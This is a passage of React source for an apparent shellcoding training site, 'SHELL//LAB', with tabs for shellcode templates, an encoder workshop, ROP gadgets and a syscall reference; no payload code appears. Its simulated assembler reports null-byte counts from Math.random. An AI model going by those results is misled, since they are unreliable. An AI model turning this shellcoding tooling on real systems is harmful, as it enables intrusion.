elf${a.bits === 64 ? "64" : "32"} shellcode.asm -o shellcode.o`, "cmd"); setTimeout(() => { if (!editorCode.trim()) { addConsole("Error: empty source file", "err"); return; } const lines = editorCode.split("\n").filter(l => l.trim() && !l.trim().startsWith(";")); addConsole(`Assembled ${lines.length} instructions`, "ok"); addConsole(`$ ld -m elf_${arch === "x64" ? "x86_64" : "i386"} shellcode.o -o shellcode`, "cmd"); addConsole("Linked successfully", "ok"); addConsole(`$ objdump -d shellcode | grep -c '00'`, "cmd"); const nullCount = Math.floor(Math.random() * 3); if (nullCount === 0) addConsole("✓ No null bytes detected", "ok"); else addConsole(`⚠ ${nullCount} potential null byte(s) found — review encoding`, "warn"); }, 300); }; const tabs = [ { id: "ref", label: "⌘ REFERENCE", desc: "ISA Reference" }, { id: "shell", label: "◈ SHELLCODE", desc: "Templates & Builder" }, { id: "dbg", label: "⏱ DEBUGGER", desc: "CPU Step Debugger" }, { id: "enc", label: "🔐 ENCODER", desc: "Encoder Workshop" }, { id: "rop", label: "⛓ ROP", desc: "Gadget Explorer" }, { id: "harness", label: "⚙ HARNESS", desc: "Test Pipeline" }, { id: "analyze", label: "🔬 ANALYZE", desc: "CFG & Decompiler" }, { id: "learn", label: "◉ LESSONS", desc: "Guided Modules" }, { id: "exercise", label: "⚡ EXERCISES", desc: "Practice" }, { id: "arch", label: "⬡ ARCH VIZ", desc: "Registers & Stack" }, { id: "editor", label: "▸ EDITOR", desc: "Write & Assemble" }, ]; const instrCategories = Object.keys(a.instructions || {}); return (
{/* BG grid */}
{/* Scanlines */}
{/* ═══ HEADER ═══ */}

SHELL//LAB

ASSEMBLY & SHELLCODING PLATFORM
ARCH: {Object.entries(ARCHS).map(([k, v]) => ( ))}
KULPRIT STUDIOS LLC
{/* ═══ ARCH QUICK INFO BAR ═══ */}
{[ ["Bits", a.bits], ["Endian", a.endian], ["Addr Size", a.addressSize], ["Syscall", a.syscallMethod], ["Syscall Reg", a.syscallReg], ["Args", a.syscallArgs.slice(0, 4).join(", ") + "..."], ].map(([k, v]) => (
{k}: {v}
))}
{/* ═══ TAB BAR ═══ */}
{tabs.map(t => ( ))}
{/* ═══════════ REFERENCE TAB ═══════════ */} {tab === "ref" && (
{a.name} — {a.callingConv}
{instrCategories.map(cat => (

{cat.toUpperCase()}

{a.instructions[cat].map((inst, i) => (
{inst.op} {inst.syn} {inst.desc} {inst.ex}
))}
))} {/* Syscall Table */}

SYSCALL TABLE ({a.syscallMethod})

{a.syscallReg.toUpperCase()}NameArguments
{Object.entries(a.syscalls).map(([num, sc], i) => (
{num} {sc.name} {sc.args.map((arg, j) => ( {a.syscallArgs[j]}: {arg}{j < sc.args.length - 1 ? ", " : ""} ))}
))}
)} {/* ═══════════ SHELLCODE TAB ═══════════ */} {tab === "shell" && (
{templateKeys.map(k => ( ))}
{currentTemplate && (
{selTemplate} {currentTemplate.nullFree ? "✓ NULL-FREE" : "⚠ CONTAINS NULLS"}

{currentTemplate.desc}

{/* Assembly Source */}

ASSEMBLY SOURCE

                  {currentTemplate.asm.split("\n").map((line, i) => {
                    const isComment = line.trim().startsWith(";");
                    const isLabel = line.trim().endsWith(":");
                    const isDirective = line.trim().startsWith("db ") || line.trim().startsWith(".") || line.trim().startsWith("section");
                    let parts = line;
                    return (
                      
{String(i + 1).padStart(2, " ")} {parts}
); })}
{/* Hex Bytes */}

OPCODE BYTES

{/* Copy Buttons */}
)}
)} {/* ═══════════ ENCODER WORKSHOP TAB ═══════════ */} {tab === "enc" && (
{/* ── LEFT: Input & Config ── */}
{/* Shellcode Input */}

RAW SHELLCODE INPUT

{templateKeys.slice(0, 4).map(k => ( ))}